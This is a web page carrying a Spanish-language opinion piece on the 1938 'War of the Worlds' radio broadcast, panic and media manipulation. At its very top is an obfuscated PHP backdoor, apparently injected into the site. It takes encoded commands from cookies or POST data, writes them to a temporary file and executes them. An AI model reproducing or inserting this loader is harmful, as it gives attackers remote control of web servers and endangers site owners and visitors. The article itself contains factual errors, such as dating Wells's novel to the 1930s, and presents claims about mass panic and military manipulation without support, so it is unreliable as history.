$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> GUERRAS Y FICCIONES. – www.interferencechannel.com

GUERRAS Y FICCIONES.

Enrique Velasco Garibay

Enrique Velasco Garibay

 

Muchos de nosotros hemos escuchado la famosa anécdota de la transmisión por radio de ‘La Guerra de los Mundos’, libro escrito por el inglés H.G. Wells en la década de los 30’s del siglo pasado.

En 1938, el norteamericano Orson Welles, en ese momento productor de radio de la CBS en Nueva York, adaptó el libro en cuestión para presentarlo como un radiocuento. ‘La Guerra de los Mundos’ narra la invasión a nuestro planeta de platillos voladores repletos de inteligentes  y hostiles marcianos.

Fue tal la enorme persuasión del programa radiofónico, que provocó pánico e histeria en la vida de decenas de miles de personas. Aunque la transmisión comenzó a las 8 de la noche con un breve anuncio de que el programa era de ciencia ficción y que estaba basado en la novela de H. G. Wells, millones de personas creyeron que era realidad.

Para colmos, otras emisoras de radio interrumpieron sus transmisiones para seguir en vivo los pormenores de ‘la noticia exclusiva’. Miles hablaron a las estaciones de radio y otros miles a la policía. Colapsaron los teléfonos, los hospitales no tenían tregua con las hordas  histéricas, familias enteras se montaron a sus carros y abandonaron las ciudades de Nueva York y Nueva Jersey, de paso daban noticia en la carretera a los que entraban, que un ataque marciano era inminente, que se regresaran por donde habían venido.

La policía envió teletipos –mensajes directos desde máquinas especializadas- a las emisoras de radio señalando que era ficción, que era “un evento imaginario”, pero la histeria ya era generalizada. El miedo había tomado la conciencia colectiva de casi toda la nación. Miles y miles creyeron que era el principio del fin del mundo.

El periódico New York Times publicó en la primera página “Radio escuchas en Pánico Tomaron como Cierto un Drama de Guerra”; el Daily News puso en su primera página “Falsa Guerra en Radio, siembra el terror en Estados Unidos”. Quiebras y separaciones familiares, servicios religiosos interrumpidos por millones de personas rezando por su salvación, tráfico atascado, sistemas de comunicación en caos.

Durante el siguiente mes se discutieron miles de versiones e historias. La Comisión Federal de Comunicaciones estudió el caso y decidió no penalizar a la CBS ni a Orson Wells, director del programa que para entonces ya era mundialmente famoso. De esta manera, el mundo de las  comunicaciones tomó el suceso como un referente histórico.

Este fenómeno no fue un evento aislado, más bien fue provocado por una sucesión de hechos previos. Dos semanas antes las tropas de Hitler habían invadido Checoslovaquia, Europa entera se encontraba en absoluta incertidumbre. Los avances tecnológicos como el radar, las máquinas jet para aviones, el stress de la reciente Gran Depresión económica y la idea de la destrucción masiva, ayudaron a los miedos de la colectividad.

La Segunda Guerra Mundial, que dejó 50 millones de muertos, introdujo nuevas armas como cohetes, drones, rayos x y las bombas atómicas, todas ellas fueron retratadas de manera detallada en la descripción radiofónica de Wells.

El programa dejó un profundo efecto en el Sistema Militar norteamericano. Se dieron cuenta de que el pueblo mostró un abanico de emociones como histeria, bravura, determinación a resistir, pánico o fatalismo. Sentimientos que produce una guerra verdadera. Lo que los militares no sacaron a la luz fue el hecho de que desarrollaron estrategias y políticas para manipular e inducir a la sociedad a pensar en que algo falso puede ser verdadero.

Y las buenas conciencias se preguntaron: Está bien para los países totalitarios, pero ¿En Estados Unidos? ¿Eso puede pasar en Estados Unidos? Esta clase de control de masas nunca se había percibido tan definida, tan claramente como en ese momento.

Pero este descubrimiento no sólo fue detectado por los militares y el gobierno de Estados Unidos. Adolfo Hitler se refirió a este hecho, en un discurso, como “la decadencia y corrupción evidentes de la democracia”. Asimismo, fue revelado años después que el dictador ruso Joseph Stalin puso toda su atención en este fenómeno.

Un sólo paso nos lleva de aquí a las criollas dictaduras latinoamericanas que, apoyadas por los medios de comunicación, manipulan y devastan la conciencia ancestral y verdadera de los resistentes pueblos para convertirlos en sus seguros servidores. Día tras día. ♦

 

*Enrique Velasco

Comments are closed.